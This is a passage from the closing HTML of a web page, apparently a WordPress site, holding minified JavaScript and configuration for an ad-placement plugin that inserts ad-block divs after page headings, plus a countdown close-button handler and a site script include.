span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n<=0&&(clearInterval(r),"true"==d?a.parent().replaceWith('<button class="flat__4_cross"></button>'):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};</script> <script>flat_pm_arr = [{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"1","selector":"h1","search_all":"false"}},"ID":"263","html":[{"fst":"<div data-la-block=\"dd46c9af-9341-41a3-a8ff-4d16a627b782\"><\/div>","snd":"<div data-la-block=\"dd46c9af-9341-41a3-a8ff-4d16a627b782\"><\/div>","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"1","selector":"h2","search_all":"false"}},"ID":"264","html":[{"fst":"<div data-la-block=\"ae117f10-d0bf-49d0-b3a5-61270694c340\"><\/div>","snd":"<div data-la-block=\"ae117f10-d0bf-49d0-b3a5-61270694c340\"><\/div>","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"2","selector":"h2","search_all":"false"}},"ID":"265","html":[{"fst":"<div data-la-block=\"87382344-23f3-473e-8e22-d081e42fe6bf\"><\/div>","snd":"<div data-la-block=\"87382344-23f3-473e-8e22-d081e42fe6bf\"><\/div>","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"3","selector":"h2","search_all":"false"}},"ID":"500","html":[{"fst":"<div data-la-block=\"a63911d8-3a0a-4543-93a2-766abc574b37\"><\/div>","snd":"<div data-la-block=\"a63911d8-3a0a-4543-93a2-766abc574b37\"><\/div>","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"4","selector":"h2","search_all":"false"}},"ID":"494","html":[{"fst":"","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"5","selector":"h2","search_all":"false"}},"ID":"565","html":[{"fst":"<div data-la-block=\"db7b8214-d365-4010-8b48-45662f7737a0\"><\/div>","snd":"<div data-la-block=\"db7b8214-d365-4010-8b48-45662f7737a0\"><\/div>","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"6","selector":"h2","search_all":"false"}},"ID":"725","html":[{"fst":"","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"iterable":{"direction":"top_to_bottom","before_after":"after","N":"5","selector":".flat_pm_start~p","search_all":"false"}},"ID":"564","html":[{"fst":"","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"bottom_to_top","before_after":"after","N":"1","selector":"h2","search_all":"false"}},"ID":"566","html":[{"fst":"","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"simple":{"position":"3"}},"ID":"266","html":[{"fst":"<div data-la-block=\"4b91d352-1c26-40a0-aea8-1b8d25d8200f\"><\/div>","snd":"<div data-la-block=\"4b91d352-1c26-40a0-aea8-1b8d25d8200f\"><\/div>","res_of":"∞","res_to":"∞"}]}];</script> <script>function jQueryLoaded_flatpm_123( $ ) { if( "function" !== typeof flatPM_start ){ return; } flatPM_start(); } function jQueryLoading_flatpm_123() { if (window.jQuery && window.flat_pm_arr) { jQueryLoaded_flatpm_123( jQuery ) } else { setTimeout(function() { jQueryLoading_flatpm_123() }, 50) } } jQueryLoading_flatpm_123()</script></div> <script defer src="https://spa-zhemchuzhina.ru/wp-content/cache/autoptimize/js/autoptimize_81be21770f4e186cf0a916c72ccac5ea.js"></script></body></html>